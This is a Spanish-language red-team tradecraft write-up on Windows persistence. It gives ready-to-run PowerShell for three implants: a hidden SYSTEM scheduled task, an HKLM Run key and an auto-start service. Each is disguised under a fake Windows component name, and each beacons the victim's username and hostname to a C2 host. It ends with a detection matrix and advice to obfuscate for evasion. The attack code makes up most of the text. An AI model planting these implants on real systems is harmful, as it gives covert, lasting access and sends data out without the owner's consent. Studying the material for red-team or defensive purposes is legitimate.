Tradecraft: Windows Persistence Mechanics via PowerShell
// MISSION BRIEFING
En el teatro de operaciones de un Red Team, el acceso inicial es solo el primer paso. El verdadero desafío reside en mantener ese acceso frente a reinicios, actualizaciones y la vigilancia activa del Blue Team.
Este informe disecciona tres vectores de persistencia estándar utilizados por Amenazas Persistentes Avanzadas (APT). El objetivo operativo es establecer beacons automáticos que exfiltren telemetría básica (Hostname y Usuario) hacia nuestro C2, garantizando la supervivencia del implante en el ecosistema Windows.
1. VECTOR: SCHEDULED TASK BEACONING
Las tareas programadas ofrecen una versatilidad táctica superior, permitiendo la ejecución con privilegios de SYSTEM independientemente de la sesión del usuario.
The Hook (Implementación):
El siguiente payload en PowerShell genera una tarea que ejecuta un beacon cada 2 minutos. Se ha configurado para operar en segundo plano (Hidden) y exfiltrar variables de entorno mediante parámetros GET.
# Configuración del Payload: Exfiltración de User + Hostname
$CommandArg = "-NoProfile -WindowStyle Hidden -Command Invoke-WebRequest -Uri ('[https://c2.0xm0nster.lab/?usuario=](https://c2.0xm0nster.lab/?usuario=)' + `$env:USERNAME + '&hostname=' + `$env:COMPUTERNAME) -UseBasicParsing"
# Definición de la Acción
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $CommandArg
# Trigger: Ejecución inmediata y repetición cada 2 minutos (Keep-Alive)
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2)
# Settings: Persistencia agresiva (incluso con batería)
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
# Escalada de Privilegios: Ejecución como NT AUTHORITY\SYSTEM
$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Registro de la Tarea (Camuflaje básico en descripción)
Register-ScheduledTask -TaskName "SystemUpdate_Legacy" -Action $Action -Trigger $Trigger -Settings $Settings -Principal $Principal -Description "Critical Windows Component Update"
Intel Note: La configuración del
PrincipalcomoNT AUTHORITY\SYSTEMes crítica para bypassear restricciones de usuario, pero aumenta la visibilidad si la tarea es auditada.
2. VECTOR: REGISTRY RUN KEYS (USERLAND)
La modificación del registro de Windows, específicamente HKLM\...\Run o HKCU\...\Run, es una técnica clásica. Garantiza la ejecución del código en el momento exacto en que el target inicia sesión, cargando el escritorio.
The Hook (Implementación): Este script inyecta una entrada en el registro para lanzar el beacon al inicio del sistema.
# Target Key: HKLM para todos los usuarios (Requiere Admin)
$RegPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
$TaskName = "WindowsHealthMonitor"
# Command Payload
$Command = "powershell.exe -WindowStyle Hidden -Command `"Invoke-WebRequest -Uri ('https://c2.0xm0nster.lab.target/?usuario=' + `$env:USERNAME + '&hostname=' + `$env:COMPUTERNAME') -UseBasicParsing`""
# Inyección
Set-ItemProperty -Path $RegPath -Name $TaskName -Value $Command -Force
Write-Output "[+] Persistence planted in Registry: $TaskName"
3. VECTOR: WINDOWS SERVICES (SYSTEM LEVEL)
Crear un servicio malicioso es una técnica ruidosa pero extremadamente efectiva para persistencia de alto nivel. El servicio se inicia con el arranque del sistema operativo (antes del login de usuario).
The Hook (Implementación): Despliegamos un servicio con inicio automático que lanza nuestro agente de exfiltración.
# Creación del Servicio Persistente
New-Service -Name "WinDefend_Helper" `
-BinaryPathName "powershell.exe -WindowStyle Hidden -Command `"Invoke-WebRequest -Uri ('https://c2.0xm0nster.lab/?usuario=' + `$env:USERNAME + '&hostname=' + `$env:COMPUTERNAME')`"" `
-StartupType Automatic
Write-Output "[+] Service persistence established."
// TACTICAL ANALYSIS & DETECTION MATRIX
La elección del vector depende del nivel de sigilo requerido y los privilegios obtenidos. A continuación, se presenta la matriz comparativa de los artefactos generados.
| Vector | Contexto de Ejecución | Privilegios | Frecuencia (Beacon) | OpSec / Detección |
|---|---|---|---|---|
| Scheduled Tasks | Background | SYSTEM | Intervalo definido (ej. 2 min) | Media. Visible en Task Scheduler, pero fácil de camuflar entre miles de tareas legítimas. |
| Registry Keys | User Logon | Nivel de Usuario (Login) | Al iniciar sesión | Alta. La mayoría de EDRs y AVs monitorizan activamente las claves Run/RunOnce. |
| Windows Services | System Boot | SYSTEM | Al arrancar el SO | Alta. Crear un servicio nuevo genera logs de eventos (Event ID 7045) muy ruidosos sin técnicas de Service Hollowing. |
Final Intel: Aunque estas técnicas aseguran la permanencia tras reinicios, dejan huellas forenses claras. En un entorno maduro, la creación de nuevos servicios o claves de registro autorun debería disparar alertas inmediatas en el SIEM. La ofuscación del binario y el uso de técnicas “Live off the Land” (LotL) son obligatorios para la evasión.
End of Report.